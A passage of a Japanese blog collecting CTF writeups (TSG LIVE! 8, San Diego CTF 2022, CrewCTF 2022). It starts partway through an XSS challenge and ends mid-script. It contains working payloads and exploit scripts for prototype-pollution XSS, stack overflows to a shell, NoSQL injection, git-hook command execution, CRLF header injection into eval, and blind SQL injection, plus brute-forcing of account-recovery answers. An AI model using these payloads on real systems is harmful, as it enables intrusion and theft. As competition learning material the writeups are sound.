            if(this.props.allowImage && attrs.wow){
                return <div style={{
                    backgroundImage: `url(${data.src})`,
                    backgroundSize: "contain",
                    backgroundRepeat: "no-repeat",
                    // width: '100%',
                    padding: '25%',
                    height: 0,
                }} {...attrs}/>
            }else{
                return <p className="warning-text">sorry, <code>allowImage</code> is false</p>
            }
        }

以下の手順で、送信先のユーザに強制的に画像を見せることができるようになった。

  1. template として {"constructor":{"prototype":{"allowImage":true}}} を送信する
  2. image として {"wow":true} を送信する

gadget探し その2

先程の画像を表示する処理のJSXをもう一度見てみる。なぜかスプレッド構文で div にユーザから与えられた attrs を展開している。onfocus のような属性も付与できるのではないかと思ったが、残念ながらこのままではできない。とりあえず、まずはこれで好きな属性を付与できるかだけ確認する。

                return <div style={{
                    backgroundImage: `url(${data.src})`,
                    backgroundSize: "contain",
                    backgroundRepeat: "no-repeat",
                    // width: '100%',
                    padding: '25%',
                    height: 0,
                }} {...attrs}/>

先程の手順2で image として送信するJSONを、{"wow":true} から {"wow":true,"id":"test","class":"hoge"} に変更する。そのまま送信して、受信者側から受け取ったメッセージのDOMを確認すると、次のように idclass がそれぞれ指定した値になっていることが確認できた。

なんとかこれをバイパスして、onfocus なども含めた任意の属性を付与できないかいろいろ調べた。react prototype pollution ctf とかやけくそな検索ワードで、redpwnCTF 2021のMdPwnという過去問のwriteupがヒットした。挑んで解けなかった記憶がある。いわく、is というプロパティがあれば、属性名はチェックされないらしい。そんな。

とりあえず、次の手順で試してみる。

  1. template として {"constructor":{"prototype":{"allowImage":true,"is":"is"}}} を送信する
  2. image として {"wow":true,"neko":"kawaii"} を送信する

受信者側で手順2で送信されたメッセージのDOMを確認すると、wowneko という属性が生えているのを確認できた。

あとはやるだけ感があるが、onfocus + autofocus + contenteditable はなんかしらんけどうまくいかん、ほかの属性だと何が使えるのだろう…と悩んでいた。

またフロントエンドのコードを眺めていて、読み込まれている /static/css/main.c7f24255.css というCSSファイル中で @keyframes App-logo-spin{…} とキーフレームが定義されていることに気づく。これと onanimationend を組み合わせればJSの実行に持ち込めるのではないか。

先程の手順2で送信するJSONを以下のものに変更する。

{
    "wow": true,
    "onanimationend": "alert(123)",
    "style": {
        "animation-name": "App-logo-spin",
        "animation-duration": "0.1s",
        "transform": "rotate(45deg)",
        "background": "red",
        "width": "50px",
        "height": "50px"
    }
}

受信者側で確認すると、アラートが表示されていた。

でも、リモートのadmin botくんが踏んでくれない。

つらい

なんじゃこりゃと思いつつ、admin botのコードを読み直す。そういえばユーザ名だけでログインできて、またサービスは定期的に再起動されるのだったと思い出す。admin botより先に admin としてログインできればよいのではないか。

再起動のタイミングを狙って admin としてログインする。flagbot にメッセージを投げるとフラグが得られた。

ACTF{s0rry_for_4he_po0r_front3ndui:)_4FB89F0AAD0A}

TSG LIVE! 8 CTF writeup

5/14に100分という非常に短い競技時間で開催された。ひとりチームの\( ゜ヮ゜)> \(゜ヮ゜)/ \(゜ヮ゜)/ <(゜ヮ^ )/として参加して5位。


[Pwn 100] bpxover (15 solves)

以下のようなコードが与えられる。BOFがある。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[16];

    puts("hello :)");
    scanf("%s", buf);
    long x = strtoll(buf, NULL, 10);
    asm ("xor %0, %%rbp\n\t"
            :
    : "r" (x));

    return 0;
}
$ (echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40\x00\x00\x00\x00\x00"; cat) | nc chall.live.ctf.tsg.ne.jp 30006
hello :)
ls
ls -la
total 36
drwxr-xr-x 1 root user  4096 May 13 06:36 .
drwxr-xr-x 1 root root  4096 May 13 06:35 ..
-r-xr-xr-x 1 root user 17000 May 13 06:27 chall
-r--r--r-- 1 root user    35 May 13 06:27 flag
-r-xr-xr-x 1 root user    66 May 13 06:27 start.sh
cat flag
TSGLIVE{welcome_overflowwwwwwwwww}

[Pwn 200] bpxor (8 solves)

bpxoverに少し変更が加えられて、scanf("%s", buf)scanf("%15s", buf); になった。rbp をずらして、リターンアドレスがユーザ入力の後半部分に来るようにすればよさそう。何バイトずらすかは、ブルートフォースでなんとかする。

#!/bin/bash
count=0
while [ $count -lt 256 ]; do
    count=$((8+count))
    s="000${count}"
    (echo -en "${s: -3}_____\xb6\x11\x40\x00\x00\x00\x00\x00"; echo "ls; cat f*") | nc chall.live.ctf.tsg.ne.jp 30007
done
$ ./a.sh
hello :)
timeout: hello :)
timeout: hello :)
timeout: hello :)
chall
flag
start.sh
TSGLIVE{xoring_rbp_easily_leads_to_shell}

[Web 200] Problem on fire (8 solves)

Firebase。firestore.rules は以下のような内容になっていた。

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{uid} {
      // 自分のユーザー情報を書き込めるのは自分のみ
      allow read, create: if request.auth.uid == uid && !request.resource.data.admin;
      // 一度作ったユーザー情報を編集できるのはadminだけ
      allow update: if request.resource.data.admin;
    }
    match /flags/flag {
      // flagを読めるのはadminだけ
      allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true;
    }
  }
}

フロントエンドのコードには以下のような処理があった。{admin: false}{admin: true} に変えるとフラグが得られた。

const db = firebase.firestore();
await db.collection('users').doc(uid).set({admin: false});

const flag = await db.collection('flags').doc('flag').get();
this.flag = flag.get('value');
TSGLIVE{git_fire_is_also_useful_when_the_project_is_on_fire}

私がfirst bloodでした🙌

[Misc 50] Welcome (31 solves)

問題文にフラグが書かれている。

TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}

[Misc 250] guess (8 solves)

以下のようなC++のコードが渡される。ランダムに生成されるパスワードを当てればよいらしい。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/unistd.h>
#include <unistd.h>
#include <iostream>
#include <string>
#include <thread>
#include <cstdlib>
#include <chrono>

void win(){
  using namespace std;
  cout<<"you win!\n"<<getenv("FLAG")<<endl;
  cout.flush();
  syscall(__NR_exit_group, 0);
}

void guess_checker(std::string s){
  using namespace std;
  cerr<<"Got:"<<s<<endl;
  int fd = open("/tmp/password",O_RDONLY);
  if(s.size()>20){
    close(fd);
  }
  if (!(fcntl(fd, F_GETFL) < 0)) {
    system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password");
    string pass;
    char c;
    while(read(fd,&c,1)==1&&c!='\n'){
      pass+=c;
    }
    cerr<<"Expected:"<<pass<<endl;
    if(s==pass){
      win();
    }
  }else{
    cout<<"Wrong Password"<<endl;
    cout.flush();
    this_thread::sleep_for(chrono::microseconds(500));
  }
  close(fd);
}
int main(int argc, char const* argv[])
{
  system("touch /tmp/password");
  using namespace std;
  while(true){
    cout<<"guess password:";
    cout.flush();
    string s;
    getline(cin,s);
    thread(guess_checker,s).detach();
  }
  return 0;
}

なにかしらのタイミングでパスワードが空になるのだろうとguessして、とりあえずエンターキーを押しっぱなしにしてみたらフラグが得られてしまった。

$ nc chall.live.ctf.tsg.ne.jp 21234
guess password:
guess password:Got:
Expected:fBHzKKp5y7rfm9285Ty



guess password:

Got:



guess password:guess password:Got:
Got:
Expected:SoC9JMuiynnyD05HYng

guess password:guess password:Got:
Got:
Expected:
you win!
TSGLIVE{ThI5_1S_n0T_UMa_MUsUMe_pR3TTy_DerbY_rACe}

[Rev 400] DNS ROPOB (8 solves)

入力した文字列がフラグであるか確認してくれるELFが渡される。なんかROPっぽい感じでプログラムが組まれていて、解析がしづらくなっている。それに加えて ptrace を使った gdb とか ltrace による解析への妨害もされているが、それはNOPで潰すなり LD_PRELOADptrace を差し替えるなりすれば回避できる。

バイナリに含まれる怪しげなバイト列同士をXORすればフラグが出てきたりしないかな~というような無駄な試行の後に、Ghidraでバイナリを眺める。以下の2箇所で cmp ecx, eax が実行されているのを見つけた。

gdbブレークポイントを置いてみると、AAAAAAA を入力した場合には1回しか止まらなかったのに対して、TSGCTF{ では8回止まった。あとは ecxeax が同じ値になるように一文字ずつ入力を変えていくだけ。gdb scriptを書いたら楽だろうと思いつつ、手作業で頑張った。

TSGCTF{I_am_inspired_from_ROPOB}

San Diego CTF 2022 writeup

5/7 - 5/9という日程で開催された。zer0ptsで参加して4位。昨年に引き続きDiscordサーバがスコアサーバとして使われていて面白かった。スコアサーバ問題もコードがすでに公開されていてすばら。


[OSINT 100] Google Ransom (155 solves)

Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag!

添付URL: https://docs.google.com/document/d/1MbY-aT4WY6jcfTugUEpLTjPQyIL9pnZgX_jP8d8G2Uo/edit?usp=sharing

このドキュメントの作成者を特定すればよいらしい。閲覧後にGoogleドライブの「最近使用したアイテム」を見ると、このドキュメントが履歴に残っている。

ドキュメントの詳細を表示してオーナーの名前にホバーすると amy.sdctf@gmail.com というメールアドレスが表示された。

フラグをくれとか適当なメールを送ると、フラグの含まれたメールが返ってきた。

sdctf{0p3n_S0uRCE_1S_aMaz1NG}

[OSINT 400] Mann Hunt (96 solves)

We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form ****.sdctf@gmail.com. Once you find it, send them an email to demand the flag!

Username mann5549

適当なSNSでこのユーザ名を持つアカウントがないか調べると、Twitterで見つかった。プロフィールにmann.codesというURLが含まれている。Gatsby製のWebサイトらしいが、コンテンツが何もない。

OGPからmanncyber/manncodes.github.ioというリポジトリがその生成元のコードであることがわかるものの、コミットログなどにはメールアドレスは含まれていなかった。そのリポジトリを作成したアカウントについても調べてみたが、登録されている公開鍵やらなんやらには面白い情報はなかった。

Internet ArchiveWayback Machinemann.codes を調べてみても3/4に取られたスナップショットと現在のもので差分はなさそうだし、crt.shmann.codes を調べても怪しげなサブドメインを対象に証明書が発行されている様子もない。

なんなんだこの問題は、と思いつつGitHubリポジトリを眺めていると、Gatsbyの設定ファイル, Blogger and Coder for ACM at UC San Diego という作者の紹介文を見つけた。これでググってみると、Emanuel HuntさんのLinkedInのプロフィールを見つけた。Googleドライブに履歴書を置いているらしい。

見てみるとPDFの履歴書があったものの、メールアドレスが ******sdctf@gmail.com と伏せられている。が、Google Ransomと同じ方法で mann.sdctf@gmail.com というメールアドレスが得られる。雑にメールを送るとフラグの含まれる返信があった。


点数の割にsolve数が多かったのは、問題名やユーザ名からメールアドレスが容易に推測可能だったからだろうか。

[OSINT 160] Samuel (88 solves)

Where is this? https://www.youtube.com/watch?v=fDGVF1fK1cA

Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)

点滅し続けるライトの動画が与えられている。光る時間が長かったり短かったりしていてモールス信号っぽい。送られている文字列は WHAT HATH GOD WROUGHT で、San Diego というワードとともに検索するとそれっぽい場所が見つかった。

sdctf{32.875,-117.240}

[OSINT 150] Part of the ship... (76 solves)

Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag}

"the forbidden app" でググるとiFunnyなるサービスに言及する記事がヒットする。DanFlashes というユーザがいないか https://ifunny.co/user/DanFlashes にアクセスしてみるも、404 Not Foundだった。が、Wayback Machineで探すと過去に存在していたことがわかる。プロフィールにフラグが書かれている。

sdctf{morning_noon_and_night_I_meme}

[OSINT 200] Turing Test (49 solves)

My friend has been locked out of his account! Can you help him recover it?

Email jack.sdctf@gmail.com

Website https://vault.sdc.tf/

与えられたURLにアクセスするとログインフォームが表示された。メールアドレスに jack.sdctf@gmail.com を、パスワードに適当な文字列を入力して5回ログインを試みるとサポートのbotが話しかけてきた。

アカウントリカバリを始めると、まず秘密の質問としてフルネームを聞かれる。J**** B***** と頭文字がヒントとして与えられる。雑に次のスクリプトでファミリーネームをブルートフォースしようとしたものの、失敗した。

(async () => {
  const wait = t => new Promise(r => setTimeout(r, t));
  const list = 'Baalam ... Bythewood'.split(' ');
  for (const x of list.filter(x => x.length === 6)) {
    const r = await fetch("/api/check/name", {
      "headers": {
        "content-type": "application/json",
      },
      "body": `{"messages":["Jack ${x}"]}`,
      "method": "POST"
    });
    const rr = await r.text();
    console.log(x, rr);

    if (!rr.includes('not correct')) {
      console.log('found!!');
      break;
    }

    await wait(100);
  }
})();

別の方法でフルネームが得られないか試す。Googleドキュメントで新しくドキュメントを作成し、jack.sdctf@gmail.com との共有を試みる。共有の状態を確認しようとすると、次の画像のように Jack Banner というフルネームが表示された。

botにフルネームを返信すると、今度は誕生日を聞かれた。

ブルートフォースすると1/10が誕生日だとわかった。

import datetime
import requests

# https://stackoverflow.com/a/5891598
def suffix(d):
    ...

URL = 'https://vault.sdc.tf/api/check/birthday/f1ea9d82e14b382091c111d71335e0f72e9c2baa'
for m in ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']:
    for d in range(1, 32):
        r = requests.post(URL, headers={
            'Content-Type': 'application/json'
        }, data='{"messages":["%s","%d%s"]}' % (m, d, suffix(d)))
        print(r.text, m, d)

今度は犬の名前を聞かれる。雑によくある名前を引っ張ってきて ブルートフォースしようとしたものの失敗した。よさげなデータセットも見つけたが、数千件のブルートフォースはさすがによろしくない。

別のアプローチを試みる。Jack BannerさんはSNSのアカウントを持っていないか? 試しにFacebook検索してみると、それっぽい人が見つかった。

このアカウントから犬の名前の情報が得られないか悩んでいたところ、POSIXさんがInstagramのアカウントを見つけてくれた。犬の名前は Ravioli らしい。最後の質問として、フラグの最初の6文字を聞かれた。これは sdctf{ だ。

これでアカウントにアクセスできる。やったね。

リンクをクリックするとフラグが得られた。

sdctf{7he_1m1747i0n_94m3}    

[OSINT 300] Paypal Playboy (23 solves)

We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!

Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation. Flag format is sdctf{...}

添付ファイル: mbox (eml形式のファイル)

添付ファイルのメールを見てみると、Cash AppなるアプリのQRコードの画像が添付されていた。$limosheen というユーザのQRコードらしい。PayPalにも同じユーザ名のアカウントがいないか検索してみたところ、いた。

paypal.meプロフィールを確認したところ、次のような自己紹介文が設定されていた。

we sell banners for San Diego Cybersecurity Contest at prices!! dont send ropETH please we have enough money ❤️ 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B boss has twitter so question him if need to

Etherscanで 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B というアドレスのトランザクション履歴を見ると、0x949213139D202115c8b878E8Af1F1D8949459f3f というアドレスに送金しているとわかる。

Twitterで検索してみると、次のツイートがヒットした。

このアカウントのほかのツイートを見ると、フラグが見つかった。

sdctf{You_Ever_Dance_With_the_Devil_In_the_Pale_Moonlight}

[Web 200] JaWT that down! (57 solves)

ソースコードが与えられていないブラックボックス問。フロントエンドの login.jsAzureDiamond / hunter2 という認証情報が書かれている。これでログインするとJWTが発行されるが、数秒で有効期限が来てしまう。

秘密鍵ブルートフォースやら、アルゴリズムnone への変更やら色々とJWTへの攻撃を試みたもののどれも失敗して悩んでいたところ、Kahlaさんが、ログイン状態で /s というエンドポイントが d という内容を返すことを見つけた。それを見て /s/s/d/s/d/c …という感じで1文字ずつフラグがわかるのではないかと思いつく。自動化した:

import requests

BASE = 'https://jawt.sdc.tf'
res = ['s']
c = 's'

while True:
    sess = requests.Session()
    sess.post(f'{BASE}/login', data={
        'username': 'AzureDiamond',
        'password': 'hunter2'
    })
    t = '/'.join(res)
    r = sess.get(f'{BASE}/{t}')
    c = r.text
    res.append(c)
    print(''.join(res))
sdctf{Th3_m0r3_t0k3ns_the_le55_pr0bl3ms_adf3d}

[Web 300] HuMongous Mistake (7 solves)

買い物ができるWebアプリケーションだが、普通のユーザでは商品として売られているフラグが買えない。このアプリの特徴はログインの際に2FAが必要だというところにある。アカウントの登録時にDiscordのIDを提出させられ、ログイン時にはユーザ名とパスワードに加えて、DiscordアカウントにDMで送られてきた英数字6桁のコードを入力しなければならない。

なんじゃこりゃと悩んでいたところ、問題名に Mongo が含まれていることに気づく。MongoDBが使われていそう(?????)。ということはNoSQL Injectionだ。適当に試していると、次のようにログイン時に application/x-www-form-urlencoded ではなく application/json としてJSONペイロードを投げることで、パスワードのチェックについては回避できた。

$ curl 'https://shell.sdc.tf/login' \
   -H 'content-type: application/json' \
   --data-raw '{"username":"admin","password":{"$ne":"hoge","length":1}}' \
   --compressed
Found. Redirecting to /2fa

次は2FAを何とかする必要がある。こちらはNoSQL Injectionができないようだった。色々試していたところ、このアプリのひどい実装に気づく。2FAのコードに有効期限はないし、もっと言えば他ユーザに発行されたコードであっても使えてしまう。ということで、自分の作成したアカウントでログインを試みてコードを取得し、adminとしてのログイン時にそのコードを入力すればOK。これでadminとしてログインし、フラグが購入できた。

sdctf{th1s_ch4ll3nge_1snt_g3tt1ng_a_SQL_ad45bd}

[Misc 100, 200] Bishop Duel (110, 93 solves)

こんな感じで白と黒のビショップが追いかけっこをするゲーム…だが、それぞれの位置を見ればわかるように、このままでは永遠にお互いを捕まえられない。

C1Z6 で左下まで移動して E8 と入力すると、なぜか左上まで移動した。off-by-oneエラーでもあるのだろうか。

あとは適当に捕まえたり捕まえられたりでふたつフラグが得られる。

sdctf{L0SiNG_y0uR_S0uRC3_C0d3_sUcKs}
sdctf{I_d1dnt_hAND_0u7_th3_s0urC3_c0D3_thIs_TIME}

[Misc 175] Git Bomb (33 solves)

.git を含むディレクトリをtar.gzに固めてアップロードすると、サーバ側で展開して git commit -m "Powered By GCaaS" というコマンドを実行してくれる謎のWebアプリケーションが与えられる。

Git Hooksを使えばよい。.git/hooks 下に commit-msg という名前のファイルを作成すると、コミット時にそれを実行してくれる。cat /flag するスクリプトをそこに配置すればよさそう。次の手順でコマンドを実行していくとフラグが得られた。

$ mkdir exp
$ git init exp
$ cd exp

$ echo -e '#!/bin/bash\ncat /flag' > .git/hooks/commit-msg
$ chmod +x .git/hooks/commit-msg

$ echo a > a.txt
$ git add .

$ ./prepare-git-repo.sh exp/ exp.tar.gz
$ curl -F 'repo=@exp.tar.gz' https://gcaas.sdc.tf/
Standard output:
[master (root-commit) b5c6adb] Powered by GCaaS
 1 file changed, 1 insertion(+)
 create mode 100644 a.txt

Standard error:
sdctf{4lw4y5_Us3_GIT_cl0nE_n3v3R_sn3ak_R3P0}

[Forensics 100] Susan Album Party (92 solves)

青い空を見上げればいつもそこに白い猫に投げると3つのJPEGファイルが抽出できる。

sdctf{FFD8_th3n_S0ME_s7uff_FFD9}

[Forensics 250] Flag Hoarder (16 solves)

coreファイルと、それを吐き出した実行ファイルによって暗号化されたフラグだと考えられる enc というファイルが与えられる。

strings に投げると、coreファイルを吐き出した実行ファイルの使い方であったり、実行時に与えられたコマンドライン引数であったり、パスワードっぽい文字列であったりが出てくる。

$ strings -n 8 core.3504
…
Usage: %s input_file password_file
this is my very secret password mwahahaha
…
/home/knox/Downloads/a.out
/home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt
…

試しにパスワードっぽい文字列と enc とをCyberChefを使ってXORしてみると、BZh から始まる、Bzip2っぽいバイナリが出てきた。展開するとフラグが得られた。

sdctf{Th1S_1s_My_3ncRYPt3d_FlaG}

CrewCTF 2022 writeup

4/16 - 4/18という日程で開催された。まともにCTFに参加するのは2/12のHayyim CTF 2022からおよそ2ヶ月ぶりで心配だったのだけれども、そこそこ解けてよかった。zer0ptsで参加して2位。


[Web 118] CuaaS (90 solves)

URLを入力するフォームがある。サーバ側の処理はこんな感じ。X-Original-URL というヘッダに入力したURLを持って http://127.0.0.1/cleaner.php にHTTPリクエストを送ってくれる。

stream_context_create のドキュメントと、そこから参照されているオプションの一覧を見ればわかるように、header は配列だけでなく文字列も許容する。文字列の場合にはCRLFで区切ることで複数のヘッダを送信できる。

この問題ではユーザ入力である $_POST['url'] が最終的に "X-Original-URL: $uncleanedURL" とヘッダに展開されているが、当然ながらCRLFも仕込める。HTTPヘッダインジェクションだ。

<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
    {
        clean_and_send($_POST['url']);
    }

    function clean_and_send($url){
            $uncleanedURL = $url; // should be not used anymore
            $values = parse_url($url);
            $host = explode('/',$values['host']);
            $query = $host[0];
            $data = array('host'=>$query);
            $cleanerurl = "http://127.0.0.1/cleaner.php";
            $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
            'method' => 'POST',
            'header' => "X-Original-URL: $uncleanedURL",
            'content' => http_build_query($data)
            ]
            ]));
                echo $stream;
                                            }


?>

このHTTPヘッダインジェクションで何ができるかというのは cleaner.php を見るとわかる。X-Visited-Before というヘッダの値が eval される。

<?php

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

die("<img src='https://imgur.com/x7BCUsr.png'>");

}


echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";


function tryandeval($value){
                echo "<br>How many you visited us ";
                eval($value);
        }


foreach (getallheaders() as $name => $value) {
    if ($name == "X-Visited-Before"){
        tryandeval($value);
    }}
?>

あとはやるだけ…かと思いきや、php.inidisable_functionsproc_opensystem などOSコマンドが実行できそうな関数が禁止されている。

disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority

ただ、glob とか file_get_contents は禁止されていないので、ファイルを読む分には困らない。glob でルートディレクトリを見たら /maybethisistheflag というそれっぽいファイルがあった。この中にフラグが書かれていた。

$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: var_dump(glob('/*'));"
…
<br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us array(20) {
  [0]=>
  string(4) "/bin"
  [1]=>
  string(5) "/boot"
  [2]=>
  string(4) "/dev"
  [3]=>
  string(4) "/etc"
  [4]=>
  string(5) "/home"
  [5]=>
  string(4) "/lib"
  [6]=>
  string(6) "/lib64"
  [7]=>
  string(19) "/maybethisistheflag"
  [8]=>
  string(6) "/media"
  [9]=>
  string(4) "/mnt"
  [10]=>
  string(4) "/opt"
  [11]=>
  string(5) "/proc"
  [12]=>
  string(5) "/root"
  [13]=>
  string(4) "/run"
  [14]=>
  string(5) "/sbin"
  [15]=>
  string(4) "/srv"
  [16]=>
  string(4) "/sys"
  [17]=>
  string(4) "/tmp"
  [18]=>
  string(4) "/usr"
  [19]=>
  string(4) "/var"
}
…
$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: echo file_get_contents('/maybethisistheflag');"
…
<br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
…
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}

[Web 633] Marvel Pick (31 solves)

キャラクターに投票できるWebアプリケーションが与えられている。スパイダーマンが大人気。以下のクライアント側のコードを見ればわかるように、/api.php?character=spiderman みたいな感じでGETするとキャラクターの投票数が得られ、/api.php へのPOSTで投票ができる。

        const marvel = [
            'spiderman', 'ironman', 'captainamerica', 'nickfury'
        ]

        function fetchMarvelVotesCount (marvel) {
            fetch(`/api.php?character=${marvel}`)
                .then(response => response.json())
                .then(results => {
                    const vote_count_html = document.querySelector(`#vote-count-${marvel}`)
                    const total_vote = results.data.vote_count

                    if (total_vote > 1) {
                        vote_count_html.innerHTML = `${total_vote} Votes`
                    } else {
                        vote_count_html.innerHTML = `${total_vote} Vote`
                    }
                })
        }

        function vote (marvel) {
            const formData = new FormData()
            formData.append('character', marvel)

            fetch('/api.php', {
                method: 'POST',
                body: formData
            })
                .then(response => response.json())
                .then(result => {
                    if (result.success) {
                        fetchMarvelVotesCount(marvel)
                        alert('successful voting')
                    } else {
                        alert(result.error)
                    }
                })
                .catch(error => {
                    alert('error');
                });

        }

        marvel.forEach(item => {
            fetchMarvelVotesCount(item)
        })

/api.php?character=%27 にアクセスしてみると以下のようなエラーが出た。SQLiだ。

Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: "'''" in /var/www/api.php:75 Stack trace: #0 /var/www/api.php(75): PDO->query('SELECT * FROM c...') #1 {main} thrown in /var/www/api.php on line 75

色々試すと以下のような結果になった。左側は character に突っ込んだ文字列、右側は OK ならエラーが起こらなかった、NG ならエラーが発生したという意味。

'or' : OK
'or(1)or' : NG
'||1||' : OK
'||(1)||' : OK
'hoge' : NG
'||(sqlite_version())||' : OK

AselectB をキャラクター名とすると {"success":true,"data":{"name":"AB","vote_count":0}} というようなレスポンスが返ってきた。AnekoB はそのままなので、select のようなSQLiに使えそうなキーワードが消されているっぽい。ほかには where, substr, case が削除されることが確認できた。ついでにいえば - も使えない。

sselectelect をキャラクター名とすると {"success":true,"data":{"name":"select","vote_count":0}} というレスポンスが返ってくる。こんな感じでバイパスができる。

'union selselectect'a',vote_count が1に、'union selselectect'a','' union sselectelect '',' で2に増えた。vote_count はレコード数になっているっぽい。これをoracleとしてBlind SQLiができそう。できた:

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"' union select 'a','' where ({q}) union select '','"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect')
    r = requests.get(URL, params={
        'character': payload
    })
    return r.json()['data']['vote_count'] == 2

print(query('1 > 2')) # False
print(query('2 > 1')) # True

あとはやるだけ。sqlite_master から sql を抜き出すexploitを書く。

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"' union select 'a','' where ({q}) union select '','"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr')
    r = requests.get(URL, params={
        'character': payload
    })
    return r.json()['data']['vote_count'] == 2

i = 1
res = ''
while True:
    c = 0

    for j in range(7):
        if query(f'unicode(substr((select group_concat(sql) from sqlite_master), {i}, 1)) & {1 << j}'):
            c |= 1 << j
    
    res += chr(c)
    print(i, res)
    i += 1

動かすとテーブルのデータが抜けた。flags というテーブルがあるっぽい。

$ python3 exp.py
…
152 CREATE TABLE characters (
        id integer PRIMARY KEY,
        name text NOT NULL
),CREATE TABLE flags (
        id integer PRIMARY KEY,
        value text NOT NULL
)
…

select value from flags でフラグが得られた。

crew{so_its_n0t_on3_line_for_exp}

[Web 738] Marvel Pick Again (24 solves)

Marvel Pickのリベンジ。今度はキャラクター名が76文字以上であれば弾かれるようになった。コードゴルフの時間だ。

  1. '|abs(case when ({q}) then ~9223372036854775807 else 0 end)|': SQLiteでは abs-9223372036854775808 を与えるとエラーが発生する性質を利用して、Error-Basedにやる
  2. '|abs(({q})+~9223372036854775807)|': {q}0 以外ならエラーが発生することさえ変わっていなければよい。CASE式を使わないようにする
  3. '|abs(({q})+(2<<62))|': -9223372036854775808 をなんとかできないかとDiscordに投げたら、ふるつきさんから 2**63 をゴニョゴニョできないかというアドバイスが返ってきた。左シフトでいけた

あとは雑にブルートフォースをやるだけ。

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"'|abs(({q})+(2<<62))|'"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr').replace('case', 'ccasease')
    r = requests.get(URL, params={
        'character': payload
    })
    #print('len:', len(payload))
    return '1 integer overflow' in r.text

i = 1
res = ''
while True:
    for c in range(0x20, 0x7f):
        #if query(f"substr('abc',{i},1)>char({c})"):
        if query(f"substr((select value from flags),{i},1)>'{chr(c)}'"):
            res += chr(c)
            break
    print(i, res)
    i += 1
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}

[Misc 767] Paint (22 solves)

I made a drawing program for my PS4 Pro and I drew a really pretty picture, but then it crashed! Thankfully I managed to capture some traffic via my computer, could you recover the drawing for me?

というような問題文にpcapがついてきている。pcapのパケットは全部USBのもので、要はUSB接続のDUALSHOCK 4でお絵かきした様子をキャプチャしたので、どんな絵が描かれたか復元してみろという感じ。パケットの構造はググったら出た

まずpcapを扱いやすい形にする。tshark -r paint.pcap -Y 'usb.capdata' -T json -e frame.time -e usb.capdata > log.json で以下のようなJSONに変換する。

[
  {
    "_index": "packets-2022-04-12",
    "_type": "doc",
    "_score": null,
    "_source": {
      "layers": {
        "frame.time": [
          "Apr 12, 2022 02:14:44.497255000 JST"
        ],
        "usb.capdata": [
          "017c7c7b7b0800000000000000000000000000000000000000000000000007000000008000000080000000008000000080000000008000000080000000008000"
        ]
      }
    }
  },
…
]

以前Switchのプロコンで似たようなことをしたときのコードを改造する。

import binascii
import collections
import json
import struct
import time
import pygame

Frame = collections.namedtuple('Frame', 'report_id left_x left_y right_x right_y button1 button2 counter l2 r2 timestamp battery_level gyro_x gyro_y gyro_z accel_x accel_y accel_z unknown1 unknown2 unknown3 unknown4 unknown5')

def parse(s):
    b = binascii.unhexlify(s)
    f = Frame._make(struct.unpack('bBBBBbbbbbhbhhhhhhiQQQQ', b))
    return f

with open('log.json', 'r') as f:
    log = json.load(f)

parsed_frames = [
    parse(frame['_source']['layers']['usb.capdata'][0]) for frame in log
]

pygame.init()
screen = pygame.display.set_mode((630, 80))
font = pygame.font.SysFont(None, 24)

i = 0
